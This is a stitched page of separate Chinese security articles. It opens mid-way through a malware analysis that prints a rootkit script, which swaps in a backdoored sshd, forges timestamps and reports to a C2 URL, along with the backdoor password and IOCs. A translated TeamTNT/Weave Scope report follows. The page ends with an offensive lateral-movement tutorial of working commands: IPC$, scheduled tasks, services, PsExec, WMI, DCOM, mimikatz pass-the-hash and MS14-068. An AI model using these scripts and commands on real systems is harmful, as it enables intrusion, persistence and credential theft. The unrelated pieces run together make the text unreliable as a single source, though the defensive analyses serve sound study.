# EOF verificam ce ip are serverul
####### verificam daca s-a schimbat ip-ul
if [ "$ip" != "$new_ip" ] ; then
# s-a schimbat ip-ul
changes=1
ip_changed="$new_ip"
fi
# EOF verificam daca s-a schimbat ip-ul
####### verificam daca mai exista backup-ul la sshd-ul nostru si il comparam cu /usr/sbin/sshd
if [ -f /usr/lib/libu.a/m9847292 ] ; then
# exista fisierul nostru de rk
size_rk=`wc -c < /usr/lib/libu.a/m9847292`
size_sshd=`wc -c < /usr/sbin/sshd`
if [ "$size_rk" != "$size_sshd" ] ; then
# cineva a schimbat sshd-ul
### punem sshd-ul meu inapoi
cp /usr/lib/libu.a/m9847292 /usr/lib/libu.a/sshd 1>>/dev/null 2>>/dev/null
chattr -aui /usr/sbin/sshd 1>>/dev/null 2>>/dev/null
mv -f /usr/lib/libu.a/sshd /usr/sbin/sshd 1>>/dev/null 2>>/dev/null
rm -rf /usr/lib/libu.a/sshd 1>>/dev/null 2>>/dev/null
killall -9 sshd 1>>/dev/null 2>>/dev/null
luam_timestamp /usr/sbin/sshd
/usr/sbin/sshd 1>>/dev/null 2>>/dev/null
# EOF punem sshd-ul meu inapoi
changes=1
sshd_changed="YES"
fi
else
# cineva a sters fisierul nostru de rk (backup-ul)
changes=1
sshd_backup_missing="YES"
sshd_changed="UNKNOWN"
fi
# EOF verificam daca mai exista backup-ul la sshd-ul nostru si il comparam cu /usr/sbin/sshd
####### verificam daca sshd e pornit, daca nu, il pornim noi
sshd_process=`ps x | grep -v grep|grep sshd`
if [[ -z $sshd_process ]]; then
# echo "nu ruleaza"
/usr/sbin/sshd 1>>/dev/null 2>>/dev/null
# nu mai dau notificare daca am pornit eu sshd
# changes=1
fi
# EOF verificam daca sshd e pornit, daca nu, il pornim noi
###### verificam daca a fost cazut netul
if [ -f /usr/lib/libu.a/h439302s ] ; then
# serverul a fost cazut
changes=1
srv_was_down="YES"
fi
##### DACA scriptul detecteaza schimbari, intram pe link
if [ "$changes" = 1 ] ; then
### trimitem datele catre server
curl -s "${url}/srv.php?ip=${ip}&ip_changed=${ip_changed}&sshd_changed=${sshd_changed}&sshd_backup_missing=${sshd_backup_missing}&srv_was_down=${srv_was_down}&ptty_ver=${ptty_ver}" 1>/dev/null 2>/dev/null &
fi
# EOF DACA scriptul detecteaza schimbari, intram pe link
# EOF PORNIM RESTUL SCRIPTULUI
else
# echo "URL does NOT exist: $url_check_net - NU merge netul"
mkdir /usr/lib/libu.a/ 1>/dev/null 2>/dev/null ## in caz ca ne-a sters cineva dir
echo "srv was down" > /usr/lib/libu.a/h439302s 2>/dev/null
luam_timestamp /usr/lib/libu.a/h439302s
fi
# EOF continuam cu scriptul DOAR DACA merge netul, verificam pe google
fi
# EOF continuam cu scriptul DOAR DACA nu sunt useri activi pe server
最后，P3 脚本会运行一些命令和脚本来删除所有临时文件。
**总结：**
· 后门功能：
· 一个通用于不同平台和架构的Linux系统的root工具包
· 本地的root外壳程序
· 主要的SSHD二进制文件被一个恶意文件覆盖。此二进制文件中包含有后门密码以确保访问。此外，任何通过该密码进行的访问都不会被跟踪，这个密码是PRtestD
· 多重体系结构和模块化：
· 对涉及的不同脚本使用模块化处理办法
· 根据操作系统和体系结构的不同下载执行不同文件
· 嗅探功能：木马感染几个二进制文件，比如scp、sftp、 ssh，来窃取用户名和密码。
· 反鉴定功能：
· 删除日志文件来删除入侵证据 (/var/log/messages, /var/log/secure, /var/log/lastlog,
/var/log/wtmp)
· 修改文件时间戳
· Root工具包功能：
· 通过不同技术隐藏进程和文件
· C2C功能：
· 每小时与C&C交互，通知系统中的任何变化（如：出现新IP）
· 每小时与C&C交互，以获取任何更新
更新：对于SSHD二进制文件中的后门密码的最新分析。
#### IOCs
5.189.136.43
http://gopremium.mooo.com/…/auto/p
http://gopremium.mooo.com/…/auto/p1
http://gopremium.mooo.com/…/auto/arm61.tgz
http://gopremium.mooo.com/…/auto/arm71.tgz
http://gopremium.mooo.com/…/auto/vyos.tgz
http://gopremium.mooo.com/…/auto/vyos64.tgz
http://gopremium.mooo.com/…/auto/edgeos.tgz
http://gopremium.mooo.com/…/auto/edgeos64.tgz
http://gopremium.mooo.com/…/auto/default.tgz
http://gopremium.mooo.com/…/auto/p2
http://gopremium.mooo.com/…/auto/p3
http://gopremium.mooo.com/…/auto/side_files.tgz
http://gopremium.mooo.com/.unix/return_ip.php
http://gopremium.mooo.com/.unix/srvupdt.tgz
http://gopremium.mooo.com/.unix/srvupdt_IDXYZ.tgz
http://gopremium.mooo.com//.unix/srv.php
/etc/X11/.pr
/etc/pps
/usr/bin/ptty
/etc/init/env.conf (containing /usr/sbin/env)
/usr/bin/events/events
MD5 (arm61/arm61/run-libcheck) = 34976ac680474edd12d16d84470bd702
MD5 (arm61/arm61/scp) = 5eb1b59dbcd806ce41858bf40e10cab0
MD5 (arm61/arm61/sftp) = dce8fc0c3ddf0351e4e81f404b85d7bb
MD5 (arm61/arm61/ssh) = aeae5ae324e118021cb7e7ee7d5e7a26
MD5 (arm61/arm61/sshd) = 7aadb643f8345fb59e8998e18209f71a
MD5 (arm61/arm61/sshd-eu) = 7aadb643f8345fb59e8998e18209f71a
MD5 (vyos/vyos/scp) = 6797f4801407052832ff482d5b1acf06
MD5 (vyos/vyos/sftp) = 2d3a350e5210255f89a61a082254233f
MD5 (vyos/vyos/ssh) = 5b3193530738e8e658c5ab8f63b5ee0d
MD5 (vyos/vyos/sshd-eu) = 142e4198e11d405899619d49cc6dc79c
MD5 (vyos/vyos/test-sshd) = 142e4198e11d405899619d49cc6dc79c
MD5 (vyos64/vyos64/scp) = 300f7413eb76bf6905df1f5182e52f9e
MD5 (vyos64/vyos64/sftp) = 01a4f0f38096df67e13c6e9ed7ccc205
MD5 (vyos64/vyos64/ssh) = 3e7dfbac340929fc54aa459cc7ad181b
MD5 (vyos64/vyos64/sshd-eu) = b327add04800e05480a020af2ab993e0
MD5 (vyos64/vyos64/test-sshd) = b327add04800e05480a020af2ab993e0
MD5 (edgeos/edgeos/scp) = ce8e196db65bed7862d98d4a14283ae4
MD5 (edgeos/edgeos/sftp) = 0e34c468857e5e3d66ec2f0bd223d38c
MD5 (edgeos/edgeos/ssh) = 47f2e08da73bb5e5d6c61d347d1bfbf1
MD5 (edgeos/edgeos/sshd-eu) = 4b4e7ccb1f015a107ac052ba25dfe94e
MD5 (edgeos/edgeos/test-sshd) = 4b4e7ccb1f015a107ac052ba25dfe94e
MD5 (edgeos64/edgeos64/scp) = 602793976e2f41b5a1942cfd2784d075
MD5 (edgeos64/edgeos64/sftp) = e597cfee6f877e82339fab3e322d79b7
MD5 (edgeos64/edgeos64/ssh) = d5f6794c3b41f1d7f12715ba3315fd7b
MD5 (edgeos64/edgeos64/sshd) = 973eee9fae6e3a353286206da7a89904
MD5 (edgeos64/edgeos64/sshd-eu) = 973eee9fae6e3a353286206da7a89904
MD5 (edgeos64/edgeos64/test-sshd) = e597cfee6f877e82339fab3e322d79b7 | 社区文章 |
**译者：知道创宇404实验室翻译组**
**原文链接：<https://www.intezer.com/blog/cloud-workload-protection/attackers-abusing-legitimate-cloud-monitoring-tools-to-conduct-cyber-attacks/>**
## 介绍
TeamTNT是一个网络犯罪组织，其目标是包括Docker和Kubernetes实例在内的云环境。该组织[先前](https://www.cadosecurity.com/2020/08/17/teamtnt-the-first-crypto-mining-worm-to-steal-aws-credentials/
"先前")已使用多种工具进行了[记录](https://www.cadosecurity.com/2020/08/17/teamtnt-the-first-crypto-mining-worm-to-steal-aws-credentials/ "记录")，包括加密矿工和Amazon Web
Services（AWS）凭证窃取蠕虫。
TeamTNT还被发现使用了恶意Docker镜像，该镜像可在Docker
Hub上找到，以感染受害者的服务器。现在该小组正在发展。在Intezer观察到的近期攻击中，TeamTNT通过滥用[Weave
Scope](https://www.weave.works/oss/scope/ "Weave
Scope")来使用一种新技术，该工具可为用户提供对其云环境的完全访问权限，并与Docker，Kubernetes，分布式云操作系统（DC /
OS）集成在一起，和AWS Elastic Compute
Cloud（ECS）。攻击者安装此工具是为了映射受害者的云环境并执行系统命令，而无需在服务器上部署恶意代码。
**据我们所知，这是攻击者首次使用合法的第三方软件来瞄准云基础架构。** 滥用时，Weave
Scope可以使攻击者完全了解并控制受害人云环境中的所有资产，本质上是充当后门。
下面我们将描述攻击流程和攻击者对Weave Scope的使用。
## 攻击流程
除加密矿工和恶意脚本外，TeamTNT的攻击通常还涉及使用来自Docker
Hub的恶意Docker映像。Intezer观察到的近期攻击的独特之处在于，该组织滥用了一种称为Weave
Scope的合法开放源代码工具，以完全控制受害者的云基础架构。
Weave Scope是[Weave Works](https://www.weave.works/oss/scope/ "Weave
Works")的开源工具，是该公司提供用于处理容器化应用程序的自动化工具。它提供了对Docker和Kubernetes的监视，可视化和控制。通过使用可从浏览器访问的仪表板，用户可以完全控制基础结构，包括有关容器，进程和主机的所有信息和元数据。
Weave
Scope是一个功能强大的实用程序，它使攻击者可以控制受害者服务器环境的所有信息，并具有控制它们的能力，包括：已安装的应用程序，云工作负载之间的连接，内存和CPU的使用以及具有以下内容的现有容器的列表：在任何这些容器中启动，停止和打开交互式外壳的能力。通过安装合法的工具（例如Weave
Scope），攻击者可以获得所有好处，就好像他们在服务器上安装了后门程序一样，而工作量大大减少，并且无需使用恶意软件。
上图是Linux服务器的Weave Scope可视化效果。左侧是基于Nginx的容器的开放式终端。右边是服务器上所有容器的视图。
为了在服务器上安装Weave Scope，攻击者使用暴露的Docker
API端口并使用干净的Ubuntu映像创建一个新的特权容器。容器配置为将容器的文件系统安装到受害服务器的文件系统，从而使攻击者可以访问服务器上的所有文件。给容器的初始命令是下载并执行几个加密矿工。
然后，攻击者试图通过在主机服务器上设置名为“hilde”的本地特权用户并使用它来通过SSH重新连接来获得对服务器的根访问权限。
接下来，攻击者下载并安装Weave Scope。如[Weave Scope](https://github.com/weaveworks/scope
"Weave Scope")的git中的安装指南所述，只需很少的命令即可完成该工具的安装。
安装后，攻击者可以通过端口4040上的HTTP连接到Weave Scope仪表板，并获得对受害者基础结构的完全可见性和控制权。
攻击者可以从仪表板上看到Docker运行时云环境的可视化地图，并提供Shell命令，而无需部署任何恶意后门组件。这种情况不仅极为罕见，据我们所知，这是攻击者首次下载合法软件以用作Linux操作系统上的管理工具。
## 缓解建议
准确，正确地配置云工作负载和服务可以防止许多攻击，因此，花时间和精力检查它们很重要。为了保护自己免受这种攻击，我们建议：
* 关闭暴露的Docker API端口：此攻击利用了Docker API的常见配置错误，从而使攻击者可以完全控制Docker服务。因此，应在防火墙中关闭Docker API端口或包含受限制的访问策略。
* 阻止到端口4040的传入连接： Weave Scope使用默认端口4040使仪表板可访问，并且有权访问网络的任何人都可以查看仪表板。与Docker API端口类似，该端口应被防火墙关闭或限制。
* 阻止下面提供的IOC。
* 查看我们的文章“确保Docker运行时环境安全的最佳实践”。
* 利用免费的Intezer Protect 社区版，可以在运行时保护Linux云服务器和容器免受未经授权的代码的侵害。
## 对工作负载应用零信任执行
出于诸如TeamTNT攻击性质之类的原因，市场研究公司将“零信任执行”视为保护云工作负载的最佳实践。中兴通讯为您的工作负载创建可信赖的基准，并监控任何新流程或注入的代码。任何从预先批准的基准偏离的未经授权的代码或应用程序都将被阻止在您的云环境中运行，从而使您可以保留受信任的状态。
在这种情况下，尽管Weave
Scope是一个合法的管理工具（它不是恶意软件，因此不包含恶意代码），但该应用程序仍被ZTE标记，因为它是未经授权的代码，偏离了受信任的基准。
[本文](https://www.intezer.com/blog/cloud-workload-protection/what-is-zero-trust-execution-definition-adoption-more/
"本文")介绍了如何采用基于基因的中兴通讯方法来减轻传统实现方式带来的高昂开销。
了解有关Intezer对运行时[Cloud Workload
Protection](https://www.intezer.com/resource/intezer-protect-cloud-workload-protection-platform-cwpp/ "Cloud Workload Protection")的支持的更多信息。
## IOCs
85[.]214.149.236
https://iplogger[.]org/2Xvkv5
24d7d21c3675d66826da0372369ec3e8
8c6681daba966addd295ad89bf5146af
656eca480e2161e8645f9b29af7e4762
8ffdba0c9708f153237aabb7d386d083
45385f7519c11a58840931ee38fa3c7b
* * * | 社区文章 |
## 前言
通常我们在渗透过程中从外围打点进入内网后拿到主机提升到system权限，这一台主机就已经拿下。但是我们进入内网的目标还是拿下尽可能多的主机，这时候选择横向移动的方法就尤为重要。今天就对一些常用的横向手法进行一个总结，有不足之处欢迎师傅们进行斧正。
本次实验均在本地搭建靶场进行，靶场拓扑图如下：
## 利用windows远程连接命令
### ipc连接
> `IPC$`(Internet Process Connection)
> 是为了让进程之间通信的一种“管道”，通过提供用户名密码建立了一条安全的、加密的、用于数据交换的通道。当然，还是在同一个时间，还是同样的两个IP，他们之间只能建立一个`IPC$`连接，脚踏多条船无论什么时候都是不可取的。通过这个连接，可以实现在被连接的目标机器上搞文件上传、下载、命令执行……
**关于IPC$+计划任务的横向，我们的目的非常明确：**
（1）首先建立向目标主机的`IPC$`连接
（2）其次把命令执行的脚本传到目标主机
（3）再次创建计划任务在目标机器上执行命令脚本
（4）最后过河拆桥删除`IPC$`连接
**当然想要用IPC$来横向是有条件的：**
（1）目标机器没有禁用`IPC$`连接，没有什么防火防盗拦截`IPC$`，139 445 端口也开了（能走445走445，不能则走139）
（2）目标机器小管理员开了`IPC$`默认共享服务（逻辑盘、系统目录；都不开我访问个啥？）
（3）获取了目标机器的小管理员的管理员权限的账号密码（最好是域管理员账号密码），明文的
（4）目标系统能支持`IPC$`，且和攻击机能彼此互通（废话）
本地命令可以copy，用CS beacon的可以upload，总之把自己写的或者是工具生成的木马搞到目标机器上
接下来创建windows计划任务，自动执行木马反弹连接到攻击机器
值得注意的是，如何自动执行木马，在windows中常用的就是计划任务at和schtasks，计划任务在后文中会提到
net use \\<IP>\ipc$ password /user:username
net use //查看当前主机所建立的连接
这里提一个点，在多次渗透内网的过程中碰到了一个问题，那么就是这个命令输入的时候到底需不需要加上引号，我的建议是最好加上引号，另外就是如果是在Cobalt
Strike里面执行ipc命令进行连接的时候，密码中如果有一些特殊的字符，需要进行转义，否则可能会导致ipc连接不成功。
这样我们就已经跟DC建立了IPC连接，这里尝试使用一个dir命令列出DC目录进行查看
dir \\192.168.52.138\c$
ipc连接还有一个常用的命令就是进行本地映射，如果在命令行里面查看目录觉得很麻烦的话可以使用如下命令将已经建立IPC连接的主机的任意盘符映射到自己的本地。例如这里我将DC的c盘映射到我本地的z盘。
net use z: \\ip\c$ password /user:Administrator //把目标C盘映射到本地z盘(未建立ipc连接的情况下)
net use z: \\ip\c$ //把目标C盘映射到本地z盘(已建立ipc连接的情况下)
当然在最后我们渗透完成后需要清理痕迹，这里就会用到一条删除ipc连接的命令
net use \\ip\ipc$
### at命令
> at 命令是Windows自带的用于创建计划任务的命令，但是at
> 命令只在2003及以下的版本使用。我们可以通过at命令通过跳板机在目标主机DC上创建计划任务，让计算机在指定的时间执行木马程序，从而获得对内网目标主机的控制。
at计划命令在实战中主要有两个用处：一是在获取webshell后不能够执行系统命令的情况下可以用at命令将命令执行后写入txt再用type读取，二是利用at计划任务命令上线cs或者msf
首先介绍第一个用处，这是我之前在实战的过程中拿到了一个oa系统的shell，但是这里在webshell处不能够执行命令，这时候就可以调用at命令调用cmd执行系统命令
使用at命令调用cmd.exe执行命令写入result.txt
at \\192.168.52.141 16:40:00 cmd.exe /c "命令 > c:\result.txt"
用type命令进行读取
type \\192.168.52.141\c$\result.txt
这里在演示第二个at命令的用处，利用at计划任务上线cs或msf，这里我使用的是cs生成的exe
1.首先与主机建立ipc连接
2.确定主机时间
net time \\ip
3.使用cs生成木马利用copy命令拷贝到主机上
copy <木马在本机位置> \\<靶机ip>\c$
注意在实战过程中exe需要作免杀处理，否则如果对面主机有杀软还没有落地就已经被查杀了
4.使用at命令创建计划任务
at \\<靶机ip> <启动时间> <木马在靶机的位置>
注意这里理论上cs就已经上线了，但是因为这里我是在本地启动cs生成的一个exe，2003这台机器处于域环境里面且不出网，所以不能够跟我物理机进行通信，所以这里就没有截图上线成功的图。
5.删除计划任务
这里的1为创建计划任务时候的ID
at \\192.168.52.141 1 /delete
### schtasks命令
在2008及以后的系统中已经将at命令废弃，改用schtasks命令代替了at命令，原因是因为schtasks命令比at命令使用起来更加灵活。
这里使用schtasks命令计划任务上线的思想跟at命令大同小异
1.与主机建立ipc连接
2.使用copy命令将exe复制到靶机里
copy C:\Users\liukaifeng01\Desktop\artifact.exe \\192.168.52.141\c$
3.查看靶机时间
net time \\192.168.52.141
4.使用schtasks创建名为cs的计划任务
schtasks /create /TN cs /TR C:\artifact.exe /SC once /ST 17:32
可以用如下schtasks命令查看创建的计划任务
schtasks /query /TN cs
这里同at命令一样，在域环境里面就没有截图cs上线的图。
5.删除计划任务
schtasks /delete /tn "cs"
在使用`schtasks`命令时，会在系统中留下日志文件`C:\Windows\Tasks\SCHEDLGU.txt`如果执行`schtasks`命令后没有回显，可配合`ipc$`执行文件，使用`type`命令远程查看执行结果
## 利用windows服务
利用windows服务进行横向渗透主要是通过sc命令，但是注意这里跟之前windows远程命令相比多了一个条件，即当前主机需要为administrator权限。
### sc命令
> sc命令是XP系统中功能强大的DOS命令,SC命令能与“服务控制器”和已安装设备进行通讯。SC是用于与服务控制管理器和服务进行通信的命令行程序。
利用sc命令进行横向渗透的大体流程如下：
1.与靶机建立ipc连接
2.拷贝exe到主机系统上
3.在靶机上创建一个shell的服务
sc \\WIN-M836NN6NU8B create shell binpath= "c:\artifact.exe"
这里需要用`cmd shell`运行，否则会报错
4.启动shell服务
sc \\WIN-M836NN6NU8B start shell
5.删除创建的shell服务
sc \\[host] delete [servicename]
## 利用psexec
### 利用psexec.exe工具
下载地址：<https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec>
> `psexec` 是 windows 下非常好的一款远程命令行工具。`psexec`的使用不需要对方主机开方3389端口，只需要对方开启admin$共享
> (该共享默认开启)。但是，假如目标主机开启了防火墙，`psexec`也是不能使用的，会提示找不到网络路径。由于`psexec`是Windows提供的工具，所以杀毒软件将其列在白名单中。
`psexec`的基本原理：
* 通过`ipc$`连接`admin$`，释放二进制文件`psexecsvc.exe`到目标
* 通过服务管理`SCManager`远程创建一个`psexec`服务，并启动服务
* 客户端连接执行命令，服务端通过服务启动相应的程序执行命令并回显数据
* 运行结束后删除服务
`psexec`的使用前提：
* 对方主机开启了 `admin$`共享，如果关闭了`admin$`共享，会提示：找不到网络名
* 对方未开启防火墙
* 如果是工作组环境，则必须使用administrator用户连接（因为要在目标主机上面创建并启动服务），使用其他账号(包括管理员组中的非administrator用户)登录都会提示访问拒绝访问。
* 如果是域环境，即可用普通域用户连接也可以用域管理员用户连接。连接普通域主机可以用普通域用户，连接域控只能用域管理员账户。
使用如下命令：
* -accepteula：第一次运行psexec会弹出确认框，使用该参数就不会弹出确认框
* -u：用户名
* -p：密码
* -s：以system权限运行运程进程，获得一个system权限的交互式shell。如果不使用该参数，会获得一个连接所用用户权限的shell
PsExec64.exe -accepteula \\192.168.10.3 -u WIN-U8TRGT93CTR\administrator -p <password> -s cmd.exe
这里也可以先建立ipc连接后直接调用`PsExec64.exe`调用cmd
net use \\192.168.10.3\ipc$ <password> /user:administrator
PsExec64.exe -accepteula \\192.168.10.3 cmd.exe
也可以直接执行命令(在建立ipc连接的基础上)
PsExec64.exe -accepteula \\192.168.10.3 ipconfig
### msf中的psexec
使用`search psexec`寻找`psexec`模块如下图所示
这里最常用的有以下模块
exploit/windows/smb/psexec
exploit/windows/smb/ms17_10_psexec
这里说一下msf里面的这个`psexec`这个模块跟`powershell`原生模块的区别。我们知道`powershell`是在2008及以上的系统才有，在2008及以上的系统使用原生`powershell`免杀效果是要比msf里`psexec`生成的`payload`要好的。但是在2003及以下的版本是不自带`powershell`的，那么在这种情况下我们就只能使用msf的`psexec`生成的exe进行横向移动
这里唯一一点注意的就是msf的`payload`，需要用到反弹`payload`，即`reverse_tcp`
运行可以看到为system权限
psexec服务将会安装在远程系统中，此时将会生成 Event 4697、7045 这2种事件日志；有可能预生成Event 4624和Event 4652
Windows事件日志，日志会记录下该工具的使用数据。
## 利用WMI
> `WMI`，是Windows
> 2K/XP管理系统的核心；对于其他的`Win32`操作系统，`WMI`是一个有用的插件。`WMI`以`CIMOM`为基础，`CIMOM`即公共信息模型对象管理器（Common
> Information Model Object
> Manager），是一个描述操作系统构成单元的对象数据库，为`MMC`和脚本程序提供了一个访问操作系统构成单元的公共接口。有了`WMI`，工具软件和脚本程序访问操作系统的不同部分时不需要使用不同的API；相反，操作系统的不同部分都可以插入`WMI`
由于刚刚提到的`PsExec`在内网中大杀四方后，很多安全厂商开始将`PsExec`加入了黑名单，所以攻击者暴露的可能性陡然增加。但是根据研究情况来看，Windows操作系统默认不会将`WMI`的操作记录到日志当中，而且因为采用的是无文件攻击，所以导致WMI具有极高的隐蔽性。由此，越来越多的APT开始使用`WMI`进行攻击，利用`WMI`可以进行信息收集、探测、反病毒、虚拟机检测、命令执行、权限持久化等操作。
使用 `wmic` 远程执行命令，在远程系统中启动 `Windows Mannagement Instrumentation` 服务（目标服务器需要开放
135 端口，wmic 会以管理员权限在远程系统中执行命令）
### 查询进程信息
wmic /node:192.168.52.138 /user:administrator /password:qwe123!@# process list brief
### 远程创建进程
`wmic`也可以用来调用`cmd`执行系统命令，跟`at`命令类似，`wmic`调用cmd的时候也是没有回显的，所以我们还是写入txt用type命令进行查看
wmic /node:192.168.52.138 /user:administrator /password:qwe123!@# process call create "cmd.exe /c ipconfig > C:\result.txt"
使用type命令读取写入txt的结果如图所示
## wmiexec
`wmiexec`是windows自带的`wmic`的加强版，在渗透过程中使用`wmiexec`会比`wmic`和`psexec`更加方便，这里就介绍几种常用的`wmiexec`工具进行渗透。
### impacket中的wmiexec.py
首先在github上下载`impacket`安装包：<https://github.com/SecureAuthCorp/impacket>
使用命令
python wmiexec.py -hashes LM Hash:NT Hash 域名/用户名@目标IP // 哈希传递获得shell
python wmiexec.py -hashes LM Hash:NT Hash 域名/用户名@目标IP "ipconfig" // 执行命令
注意：对于运行时间较长的命令，例如`ping`、`systeminfo`等，需要添加`-wait 5000`或更长时间的参数。
由于正常的命令都要查看结果，所以执行的命令后面都会加上重定向符，把结果输出到文件中。所以`wmiexec.vbs`在运行nc反弹shell或者msf木马木马等不需要输出结果但需要一直运行的程序时，因为木马进程会一直存在，导致结果文件被占用，不能删除，也不能改写。出现这种情况后由于结果文件被占用，所以`WMIEXEC`不能工作，除非手动更改脚本中的结果文件名。或者可以用taskkill
远程结束掉卡死的进程，然后`WMIEXEC`可以恢复工作。为了解决这个问题，加入了“-persist” 选项。
当命令加了“`-persist`” 选项后，程序会在后台运行，不会有结果输出，而且会返回这个命令进程的PID，方便结束进程。
### wmiexec.vbs
`wmiexec.vbs` 可以在远程系统中执行命令并进行回显，获得远程主机的半交互式shell
cscript.exe //nologo wmiexec.vbs /shell 192.168.10.3 administrator <password>
输入如下命令，使用 `wmiexec.vbs` 在远程主机上执行单条命令
cscript.exe //nologo wmiexec.vbs /cmd 192.168.10.3 administrator <password> "命令"
### Invoke-WMIMethod
利用 `PowerShell` 自带的 `Invoke-WMIMethod`，可以在远程系统主机上执行命令和指定程序
#目标系统用户名
$User = "WIN-U8TRGT93CTR\administrator"
#目标系统密码
$Password= ConvertTo-SecureString -String "qwe123!@#" -AsPlainText -Force
#账号密码整合，导入Credential
$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User , $Password
#远程运行计算器程序
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName "192.168.10.3" -Credential $Cred
这时候靶机进程就会出现`calc.exe`
## 利用DCOM
此部分主要参考了三好学生大佬的文章：[域渗透-利用DCOM在远程系统执行程序](https://3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-%E5%88%A9%E7%94%A8DCOM%E5%9C%A8%E8%BF%9C%E7%A8%8B%E7%B3%BB%E7%BB%9F%E6%89%A7%E8%A1%8C%E7%A8%8B%E5%BA%8F)，在此对三好学生大佬表示衷心感谢。
这里先提两个概念，`COM`和`DCOM`
> `COM`即组件对象模型(Component Object Model，`COM`) ，是基于 Windows 平台的一套 **组件对象接口标准**
> ，由一组 **构造规范** 和 **组件对象库** 组成。`COM`是许多微软产品和技术，如Windows媒体播放器和Windows
> Server的基础。一般的对象是由数据成员和作用在其上的方法组成，而组件对象和一般对象虽有相似性，但又有较大不同。组件对象不使用方法而用接口来描述自身。接口被定义为“在对象上实现的一组语义上相关的功能”，其实质是一组函数指针表，每个指针必须初始化指向某个具体的函数体，一个组件对象实现的接口数量没有限制。
关于这个`COM`，其实应该有很多师傅见过，那就是在windows情况下`php`为数不多的几种`disable_functions`的方法之一，就是利用windows的`COM`组件进行绕过，这里我就不往深处拓展了
>
> `DCOM`（分布式组件对象模型）是微软基于组件对象模型（`COM`）的一系列概念和程序接口，它支持不同的两台机器上的组件间的通信，不论它们是运行在局域网、广域网、还是Internet上。利用这个接口，客户端程序对象能够向网络中另一台计算机上的服务器程序对象发送请求。DCOM是COM（组件对象模型）的扩展，它允许应用程序实例化和访问远程计算机上COM对象的属性和方法。DCOM
> 使用远程过程调用（RPC）技术将组件对象模型（COM）的功能扩展到本地计算机之外，因此，在远程系统上托管COM服务器端的软件（通常在DLL或exe中）可以通过RPC向客户端公开其方法。
攻击者可使用 `DCOM` 进行横向移动，通过 `DCOM`，攻击者可在拥有适当权限的情况下通过 Office 应用程序以及包含不安全方法的其他
Windows 对象远程执行命令。
使用`DCOM`进行横向移动的优势之一在于， **在远程主机上执行的进程将会是托管COM服务器端的软件**
。例如我们滥用`ShellBrowserWindow
COM`对象，那么就会在远程主机的现有`explorer.exe`进程中执行。对攻击者而言，这无疑能够增强隐蔽性，由于有大量程序都会向`DCOM`公开方法，因此防御者可能难以全面监测所有程序的执行。
这里利用`DCOM`进行横向移动有两个条件：
1.能关闭靶机防火墙
2.拥有cmdshell、靶机需要使用administrator账户
`DCOM`进行横向移动的操作如下：
1.与靶机建立ipc连接
2.cs生成木马使用copy命令上传到靶机
3.调用`DCOM`远程执行命令
### 调用MMC20.Application远程执行命令
通过`PowerShell`与`DCOM`进行远程交互，此外，我们只需要提供一个`DCOM
ProgID`和一个IP地址，然后，它就从远程返回一个`COM对象`的实例。
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.52.138))
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c c:\shell.exe","Minimized")
执行以上命令我们就可以调用`ExecuteShellCommand`方法在远程主机上启动进程
### 调用9BA05972-F6A8-11CF-A442-00A0C90A8F39
通过调用`9BA05972-F6A8-11CF-A442-00A0C90A8F39`来执行exe文件
$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.52.138")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.item()
$item.Document.Application.ShellExecute("cmd.exe","/c c:\shell.exe","c:\windows\system32",$null,0)
### 调用Excel.Application远程执行命令
# 通过PowerShell与DCOM进行远程交互，创建Excel.Application对象的实例:
$com = [activator]::CreateInstance([type]::GetTypeFromprogID("Excel.Application","192.168.52.138"))
$com.DisplayAlerts = $false
# 然后执行如下命令，我们就可以调用该对象的"DDEInitiate"方法在远程主机上启动进程
$com.DDEInitiate("cmd.exe","/c C:\shell.exe")
这里就不再列举其他方法了，这一部分因为知识储备的问题很多都是借鉴大佬们的思想，这里WHOAMI师傅介绍的`DCOM横向移动`十分详细，师傅们请移步：
[如何利用 DCOM 进行内网横向渗透](https://xz.aliyun.com/t/9691)
## PTH(pass the hash)
`pass-the-hash`在内网渗透中是一种很经典的攻击方式，原理就是攻击者可以直接通过`LM Hash`和`NTLM
Hash`访问远程主机或服务，而不用提供明文密码。
`pass the hash`原理：
* 在Windows系统中，通常会使用NTLM身份认证
* NTLM认证不使用明文口令，而是使用口令加密后的hash值，hash值由系统API生成(例如LsaLogonUser)
* hash分为LM hash和NT hash，如果密码长度大于15，那么无法生成LM hash。从Windows Vista和Windows Server 2008开始，微软默认禁用LM hash
* 如果攻击者获得了hash，就能够在身份验证的时候模拟该用户(即跳过调用API生成hash的过程)
这类攻击适用于：
* 域/工作组环境
* 可以获得hash，但是条件不允许对hash爆破
* 内网中存在和当前机器相同的密码
微软也对`pth`打过补丁，然而在测试中发现，在打了补丁后，常规的`Pass The Hash`已经无法成功，唯独默认的`Administrator(SID
500)`账号例外，利用这个账号仍可以进行`Pass The Hash`远程ipc连接。
如果禁用了ntlm认证，PsExec无法利用获得的ntlm hash进行远程连接，但是使用mimikatz还是可以攻击成功。
从windows到windows横向pth这一类攻击方法比较广泛。
首先使用`mimikatz`抓取域管hash，注意`mimikatz`在抓取到hash之后是不能够直接复制的，所以我们这里选择用log参数将抓取到的hash输出为txt
mimikatz log privilege::debug sekurlsa::logonpasswords
使用`mimikatz` hash传递
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:ea7937eec9ab52e6cc9528a2011ca1d8
## PTT(pass the ticket)
`PTH`部分基于`NTLM`认证进行攻击，而`PTT`基于`kerberos`协议进行攻击
`PTT`中最常见的三种攻击方式为：MS14-068、黄金票据、白银票据
### MS14-068
`MS14-068`是密钥分发中心（KDC）服务中的Windows漏洞。它允许经过身份验证的用户在其Kerberos票证（TGT）中插入任意PAC（表示所有用户权限的结构）。该漏洞位于`kdcsvc.dll`域控制器的密钥分发中心(KDC)中。用户可以通过呈现具有改变的PAC的Kerberos
TGT来获得票证。
`MS14-068`对应的补丁为`KB3011780`，接下来说一下`MS14-068`的利用过程
### 利用mimikatz ptt
1.获取普通域成员的SID
2.生成TGT票据
ms14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码
